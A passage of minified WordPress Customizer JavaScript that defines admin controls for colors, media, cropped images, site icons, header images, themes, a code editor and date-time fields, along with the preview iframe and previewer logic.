e,a,o,t,n,s,r,c=this;"dropdown-pages"===c.params.type&&c.params.allow_addition&&Y.Menus&&(a=c.container.find(".add-new-toggle"),o=c.container.find(".new-content-item-wrapper"),t=c.container.find(".create-item-input"),n=c.container.find(".create-item-error"),s=t.val(),r=c.container.find("select"),s?(o.removeClass("form-invalid"),t.attr("aria-invalid","false"),t.removeAttr("aria-describedby"),n.hide(),t.attr("disabled","disabled"),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:"page"})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:"post-"+e.post_id,title:s,type:"post_type",type_label:Y.Menus.data.l10n.page_label,object:"page",object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J("#available-menu-items-post_type-page").find(".available-menu-items-list"),n=wp.template("available-menu-item"),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val("").removeAttr("disabled")})):(o.addClass("form-invalid"),t.attr("aria-invalid","true"),t.attr("aria-describedby",n.attr("id")),n.slideDown("fast"),wp.a11y.speak(n.text())))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e="hue"===this.params.mode,i=!1;e?(t=this.container.find(".color-picker-hue")).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(".color-picker-hex")).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker("color")),i=!1},clear:function(){i=!0,n.setting.set(""),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker("color",e))}),n.container.on("keydown",function(e){27===e.which&&n.container.find(".wp-picker-container").hasClass("wp-picker-active")&&(t.wpColorPicker("close"),n.container.find(".wp-color-result").focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e<=0?(delete n.params.attachment,t.resolve()):n.params.attachment&&n.params.attachment.id===e&&t.resolve()),"pending"===t.state()&&wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+"-attachment-data",this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,"restoreDefault","removeFile","openFrame","select","pausePlayer"),n.container.on("click keydown",".upload-button",n.openFrame),n.container.on("click keydown",".upload-button",n.pausePlayer),n.container.on("click keydown",".thumbnail-image img",n.openFrame),n.container.on("click keydown",".default-button",n.restoreDefault),n.container.on("click keydown",".remove-button",n.pausePlayer),n.container.on("click keydown",".remove-button",n.removeFile),n.container.on("click keydown",".remove-button",n.cleanupPlayer),Y.section(n.section()).container.on("expanded",function(){n.player&&n.player.setControlsSize()}).on("collapsed",function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&&this.player.pause()},cleanupPlayer:function(){this.player&&wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on("select",this.select)},select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post("custom-background-add",{nonce:_wpCustomizeBackground.nonces.add,wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on("change",'input[name="background-position"]',function(){var e=J(this).val().split(" ");n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+" "+String(t);n.container.find('input[name="background-position"][value="'+e+'"]').trigger("click")}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState("library").open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get("control"),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get("width"),e=e.get("height"),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=o/e,d=s,u=r;return t.set("hasRequiredAspectRatio",n.hasRequiredAspectRatio(c,l)),t.set("suggestedCropSize",{width:o,height:e,x1:0,y1:0,x2:s,y2:r}),t.set("canSkipCrop",!n.mustBeCropped(i,a,s,r,o,e)),c<l?s=(r=e)*c:r=(s=o)/c,!(l={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s<d?s:d,minHeight:r<u?r:u,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&&!1==i&&(l.aspectRatio=s+":"+r),!0==a&&(delete l.minHeight,l.maxWidth=o),!0==i&&(delete l.minWidth,l.maxHeight=e),l},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&&!(!0===e&&i===o||!0===t&&n===a||n===a&&i===o||a<=n)},hasRequiredAspectRatio:function(e,t){return Math.abs(e-t)<1e-6},onSkippedCrop:function(){var e=this.frame.state().get("selection").first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){var t=this;this.params.attachment=e,this.setting(e.id),_.defer(function(){var e=t.container.find(".actions .button").first();e.length&&e.focus()})}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):wp.ajax.post("crop-image",{nonce:e.nonces.edit,id:e.id,context:"site-icon",cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger("content:error:crop")})},setImageFromAttachment:function(t){var n,i=this;_.each(["site_icon-32","thumbnail","full"],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&&(J('link[rel="icon"][sizes="32x32"]').attr("href",n.url),_.defer(function(){var e=i.container.find(".actions .button").first();e.length&&e.focus()}))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent(),J('link[rel="icon"][sizes="32x32"]').attr("href","/favicon.ico"))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J("#customize-control-header_image .actions .remove"),this.btnNew=J("#customize-control-header_image .actions .new"),_.bindAll(this,"openMedia","removeImage"),this.btnNew.on("click",this.openMedia),this.btnRemove.on("click",this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:"#customize-control-header_image .current .container"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new Y.HeaderTool.ChoiceList,el:"#customize-control-header_image .choices .uploaded .list"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:"#customize-control-header_image .choices .default .list"}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize="on",wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&&Y.get().header_image_data&&!_.contains(["remove-header","random-default-image","random-uploaded-image"],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split("/").pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data["flex-width"],10),o=!!parseInt(_wpCustomizeHeader.data["flex-height"],10),s=e.get("width"),e=e.get("height");return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set("canSkipCrop",!this.headerImage.shouldBeCropped()),(t=n/i)<s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&&!1==a&&(t.aspectRatio=n+":"+i),!1==o&&(t.maxHeight=i),!1==a&&(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState("cropper")},onCropped:function(e){var t=e.url;this.setImageFromURL(t,e.attachment_id,e.width,e.height)},onSkippedCrop:function(e){var t=e.get("url"),n=e.get("width"),i=e.get("height");this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&&(a.attachment_id=t),n&&(a.width=n),i&&(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split("/").pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger("hide"),Y.HeaderTool.CombinedList.trigger("control:removeImage")}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel("themes");function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find("button.preview, button.preview-theme").toggleClass("disabled",t()),n.container.find("button.theme-install").toggleClass("disabled",t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state("selectedChangesetStatus").bind(i),Y.state("changesetStatus").bind(i),i(),n.container.on("touchmove",".theme",function(){n.touchDrag=!0}),n.container.on("click keydown touchend",".theme",function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(".theme-actions .button, .update-theme")||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&&t.overlay.find(".theme-actions .delete-theme").remove()})))}),n.container.on("render-screenshot",function(){var e=J(this).find("img"),t=e.data("src");t&&e.attr("src",t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+" "+t.params.theme.description+" "+t.params.theme.tags+" "+t.params.theme.author+" ").toLowerCase().replace("-"," ");return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(" ")?n=100:(n+=10*(i.split(e.join(" ")).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+" ").length-1))+i.split(e).length-1}),99<n&&(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type="installed":(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger("render-screenshot")}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind("add",function(e){var t;e.code===n.setting.id+":csslint_error"&&(e.templateId="customize-code-editor-lint-error-notification",e.render=(t=e.render,function(){var e=t.call(this);return e.find("input[type=checkbox]").on("click",function(){n.setting.notifications.remove("csslint_error")}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&&(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&&(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&&((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&&_.each(t.params.editor_settings,function(e,t){_.isObject(e)&&(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find("textarea")),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&&n(),t.editor&&t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find("textarea"),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-label":t.params.label,"aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),t.container.find("label").on("click",function(){t.editor.codemirror.focus()}),t.editor.codemirror.on("change",function(e){i=!0,n.val(e.getValue()).trigger("change"),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J("#customize-footer-actions .collapse-sidebar").trigger("focus"):e[t+1].container.find(":focusable:first").focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(".customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close").last():t[n-1].contentContainer.find(":focusable:first")).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove("csslint_error"),0!==e.length&&(e=1===e.length?Y.l10n.customCssError.singular.replace("%d","1"):Y.l10n.customCssError.plural.replace("%d",String(e.length)),this.setting.notifications.add(new Y.Notification("csslint_error",{message:e,type:"error"})))},initPlainTextareaEditor:function(){var a=this.container.find("textarea"),o=a[0];a.on("blur",function(){a.data("next-tab-blurs",!1)}),a.on("keydown",function(e){var t,n,i;27===e.keyCode?a.data("next-tab-blurs")||(a.data("next-tab-blurs",!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data("next-tab-blurs")||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0<=t&&(o.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,"populateSetting","updateDaysForMonth","populateDateInputs"),!i.setting)throw new Error("Missing setting");i.container.find(".date-input").each(function(){var e=J(this),t=e.data("component"),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on("change",function(){i.invalidDate&&i.notifications.add(new Y.Notification("invalid_date",{message:Y.l10n.invalidDate}))}),e.on("input",_.debounce(function(){i.invalidDate||i.notifications.remove("invalid_date")})),e.on("blur",_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||"00",minute:t.shift()||"00",second:t.shift()||"00"},this.params.includeTime&&this.params.twelveHourFormat&&(e.hour=parseInt(e.hour,10),e.meridian=12<=e.hour?"pm":"am",e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=["year","day"],a.params.includeTime&&e.push("hour","minute"),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr("max"),10),n=parseInt(e.element.attr("min"),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t<e||e<n,a.invalidDate||i.setCustomValidity(""),a.invalidDate}),a.inputElements.meridian&&!a.invalidDate&&(i=a.inputElements.meridian.element.get(0),"am"!==a.inputElements.meridian.get()&&"pm"!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity("")),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(""),(!a.section()||Y.section.has(a.section())&&Y.section(a.section()).expanded())&&_.result(i,"reportValidity"),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&&n&&(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr("max",n),n<i)&&e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&&!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t="",i=function(e,t){return String(e).length<t&&(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains(["month","day","hour","minute"],e)?t=i(t,2):"year"===e&&(t=i(t,4)),t},o=["year","-","month","-","day"];return n.params.includeTime&&(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([" ",i(e,2),":","minute",":","00"])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0<Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?"":(t="pm"===t&&e<12?e+12:"am"===t&&12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&&(_.each(this.inputElements,function(e,t){var n=i[t];"month"===t||"meridian"===t?(n=n.replace(/^0/,""),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&&e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t="not_future_date";return e?(e=new Y.Notification(t,{type:"error",message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:"customize-preview-link-control"}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,"updatePreviewLink"),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(".preview-control-element").each(function(){t=J(this),e=t.data("component"),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind("ready",o.updatePreviewLink),Y.state("saved").bind(o.updatePreviewLink),Y.state("changesetStatus").bind(o.updatePreviewLink),Y.state("activated").bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on("click",function(e){e.preventDefault(),o.setting()&&(i.element.select(),document.execCommand("copy"),a(a.element.data("copied-text")))}),n.element.parent().on("click",function(e){J(this).hasClass("disabled")&&e.preventDefault()}),a.element.on("mouseenter",function(){o.setting()&&a(a.element.data("copy-text"))})},updatePreviewLink:function(){var e=!Y.state("saved").get()||""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass("disabled",e),this.previewElements.button.element.prop("disabled",e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t="changes_not_saved";e?(e=new Y.Notification(t,{type:"info",message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add("previewUrl",e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c="{}"!==a.query.customized;a._ready&&a.unbind("ready",a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass("iframe-ready"),e&&o&&t.resolveWith(a,[e])},a.bind("ready",a._ready),(e=document.createElement("a")).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&&Y.state("saved").get()||(n.customize_autosaved="on"),e.search=J.param(n),a.iframe=J("<iframe />",{title:Y.l10n.previewIframeTitle,name:"customize-"+a.channel()}),a.iframe.attr("onmousewheel",""),a.iframe.attr("sandbox","allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts"),c?a.iframe.attr("data-src",e.href):a.iframe.attr("src",e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&&((i=J("<form>",{action:e.href,target:a.iframe.attr("name"),method:"post",hidden:"hidden"})).append(J("<input>",{type:"hidden",name:"_method",value:"GET"})),_.each(a.query,function(e,t){i.append(J("<input>",{type:"hidden",name:t,value:e}))}),a.container.append(i),i.trigger("submit"),i.remove()),a.bind("iframe-loading-error",function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,["cheatin"]):t.rejectWith(a,["request failure"])}),a.iframe.one("load",function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,["ready timeout"])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,["logged out"])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:"logged-in"}).fail(a).done(function(e){var t;"1"!==e&&a(),(t=J("<iframe />",{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on("load",function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&&this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return"preview-"+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace("%s",e);document.title=e,Y.trigger("title",e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement("a");J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state("processing").get()};t()?n.call(o):(e=function(){t()&&(n.call(o),Y.state("processing").unbind(e))},Y.state("processing").bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add("scheme",i.protocol.replace(/:$/,"")),o.add("previewUrl",e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement("a");return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1<a.search.length&&(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search="":a.search=J.param(e)),t.push(a),o.scheme.get()+":"!==a.protocol&&((a=document.createElement("a")).href=t[0].href,a.protocol=o.scheme.get()+":",t.unshift(a)),n=document.createElement("a"),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&&a.host===n.host&&0===a.pathname.indexOf(n.pathname.replace(/\/$/,"")))return i=t.href,!0}))}),i)}),o.bind("ready",o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind("synced",function(){o.send("active")}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind("scroll",function(e){o.scroll=e}),o.bind("url",function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind("documentTitle",function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n["settings-modified-while-loading"]=t.settingsModifiedWhileLoading,"resolved"===t.deferred.active.state()&&!t.loading||(n.scroll=t.scroll),n["edit-shortcut-visibility"]=Y.state("editShortcutVisibility").get(),t.send("sync",n),e.currentUrl&&(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),_({panel:e.activePanels,section:e.activeSections,control:e.activeControls}).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+"s"][t])&&_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&&Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state("previewerAlive").set(!0),clearTimeout(e),t()},i=function(){Y.state("previewerAlive").set(!1)};t(),this.bind("ready",n),this.bind("keep-alive",n)},query:function(){},abort:function(){this.loading&&(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send("loading-initiated"),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind("change",e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind("change",e)}),i.loading.done(function(e){var 